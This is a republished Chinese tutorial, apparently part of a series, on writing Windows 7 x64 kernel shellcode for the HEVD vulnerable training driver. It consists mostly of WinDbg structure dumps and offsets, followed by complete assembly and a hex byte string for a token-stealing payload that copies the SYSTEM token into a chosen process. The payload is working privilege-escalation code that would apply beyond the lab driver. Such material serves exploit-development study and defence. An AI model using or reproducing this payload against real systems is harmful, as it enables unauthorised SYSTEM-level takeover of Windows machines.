本文讲的是
HEVD 内核攻击: 编写Shellcode(三),
0: kd> dt nt!_KPCR +0x000 NtTib : _NT_TIB +0x000 GdtBase : Ptr64 _KGDTENTRY64 +0x008 TssBase : Ptr64 _KTSS64 +0x010 UserRsp : Uint8B +0x018 Self : Ptr64 _KPCR +0x020 CurrentPrcb : Ptr64 _KPRCB ... +0x118 PcrAlign1 : [24] Uint4B +0x180 Prcb : _KPRCB
0: kd> dt nt!_KPRCB +0x000 MxCsr : Uint4B +0x004 LegacyNumber : UChar +0x005 ReservedMustBeZero : UChar +0x006 InterruptRequest : UChar +0x007 IdleHalt : UChar +0x008 CurrentThread : Ptr64 _KTHREAD +0x010 NextThread : Ptr64 _KTHREAD +0x018 IdleThread : Ptr64 _KTHREAD ...
0: kd> dt nt!_KTHREAD +0x000 Header : _DISPATCHER_HEADER +0x018 CycleTime : Uint8B +0x020 QuantumTarget : Uint8B +0x028 InitialStack : Ptr64 Void +0x030 StackLimit : Ptr64 Void ... +0x050 ApcState : _KAPC_STATE +0x050 ApcStateFill : [43] UChar +0x07b Priority : Char +0x07c NextProcessor : Uint4B +0x080 DeferredProcessor : Uint4B +0x088 ApcQueueLock : Uint8B +0x090 WaitStatus : Int8B +0x098 WaitBlockList : Ptr64 _KWAIT_BLOCK +0x0a0 WaitListEntry : _LIST_ENTRY +0x0a0 SwapListEntry : _SINGLE_LIST_ENTRY +0x0b0 Queue : Ptr64 _KQUEUE +0x0b8 Teb : Ptr64 Void ...
0: kd> dt nt!_KAPC_STATE +0x000 ApcListHead : [2] _LIST_ENTRY +0x020 Process : Ptr64 _KPROCESS +0x028 KernelApcInProgress : UChar +0x029 KernelApcPending : UChar +0x02a UserApcPending : UChar
0: kd> dt nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x160 ProcessLock : _EX_PUSH_LOCK +0x168 CreateTime : _LARGE_INTEGER +0x170 ExitTime : _LARGE_INTEGER +0x178 RundownProtect : _EX_RUNDOWN_REF +0x180 UniqueProcessId : Ptr64 Void +0x188 ActiveProcessLinks : _LIST_ENTRY ... +0x208 Token : _EX_FAST_REF ... +0x2d8 Session : Ptr64 Void +0x2e0 ImageFileName : [15] UChar +0x2ef PriorityClass : UChar +0x2f0 JobLinks : _LIST_ENTRY +0x300 LockedPagesList : Ptr64 Void +0x308 ThreadListHead : _LIST_ENTRY +0x318 SecurityPort : Ptr64 Void +0x320 Wow64Process : Ptr64 Void +0x328 ActiveThreads : Uint4B +0x32c ImagePathHash : Uint4B +0x330 DefaultHardErrorProcessing : Uint4B +0x334 LastThreadExitStatus : Int4B +0x338 Peb : Ptr64 _PEB ...
0: kd> !process PROCESS fffffa8004034a40 SessionId: 1 Cid: 0d34 Peb: 7efdf000 ParentCid: 0570 DirBase: 0af6b000 ObjectTable: fffff8a0050b42c0 HandleCount: 130. Image: pythonw.exe VadRoot fffffa8003d67b70 Vads 97 Clone 0 Private 1822. Modified 0. Locked 0. DeviceMap fffff8a00010b5c0 Token fffff8a00383aa00 ... 0: kd> dq fffffa8004034a40+208 l1 fffffa80`04034c48 fffff8a0`0383aa0f 0: kd> ? poi(fffffa8004034a40+208) & fffffffffffffff0 Evaluate expression: -8108839294464 = fffff8a0`0383aa00
start: mov rdx, [gs:188h] ;KTHREAD pointer mov r8, [rdx+70h] ;EPROCESS pointer
mov r9, [r8+188h] ;ActiveProcessLinks list head mov rcx, [r9] ;follow link to first process in list find_system: mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessId cmp rdx, 4 ;UniqueProcessId == 4? jz found_system ;YES - move on mov rcx, [rcx] ;NO - load next entry in list jmp find_system ;loop
found_system: mov rax, [rcx+80h] ;offset to token and al, 0f0h ;clear low 4 bits of _EX_FAST_REF structure
find_cmd: mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessId cmp rdx, 1234h ;UniqueProcessId == XXXX? (PLACEHOLDER) jz found_cmd ;YES - move on mov rcx, [rcx] ;NO - next entry in list jmp find_cmd ;loop
found_cmd: mov [rcx+80h], rax ;copy SYSTEM token over top of this process's token
0: kd> ?poi(rsp+28) Evaluate expression: -8246261640726 = fffff880`048111ea 0: kd> u fffff880048111ea l1 HEVD+0x61ea: fffff880`048111ea 488d0d6f110000 lea rcx,[HEVD+0x7360 (fffff880`04812360)]
return: add rsp, 28h ;HEVD+0x61ea ret
[BITS 64] ; Windows 7 x64 token stealing shellcode ; based on http://mcdermottcybersecurity.com/articles/x64-kernel-privilege-escalation start: mov rdx, [gs:188h] ;KTHREAD pointer mov r8, [rdx+70h] ;EPROCESS pointer mov r9, [r8+188h] ;ActiveProcessLinks list head mov rcx, [r9] ;follow link to first process in list find_system: mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessId cmp rdx, 4 ;UniqueProcessId == 4? jz found_system ;YES - move on mov rcx, [rcx] ;NO - load next entry in list jmp find_system ;loop found_system: mov rax, [rcx+80h] ;offset to token and al, 0f0h ;clear low 4 bits of _EX_FAST_REF structure find_cmd: mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessId cmp rdx, 1234h ;UniqueProcessId == ZZZZ? (PLACEHOLDER) jz found_cmd ;YES - move on mov rcx, [rcx] ;NO - next entry in list jmp find_cmd ;loop found_cmd: mov [rcx+80h], rax ;copy SYSTEM token over top of this process's token return: add rsp, 28h ;HEVD+0x61ea ret ;String literal (replace xZZ's with PID): ;"x65x48x8Bx14x25x88x01x00x00x4Cx8Bx42x70x4Dx8Bx88" ;"x88x01x00x00x49x8Bx09x48x8Bx51xF8x48x83xFAx04x74" ;"x05x48x8Bx09xEBxF1x48x8Bx81x80x00x00x00x24xF0x48" ;"x8Bx51xF8x48x81xFAxZZxZZxZZxZZx74x05x48x8Bx09xEB" ;"xEEx48x89x81x80x00x00x00x48x83xC4x28xC3"
原文发布时间为:2017年3月27日
本文作者:xiaohui
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。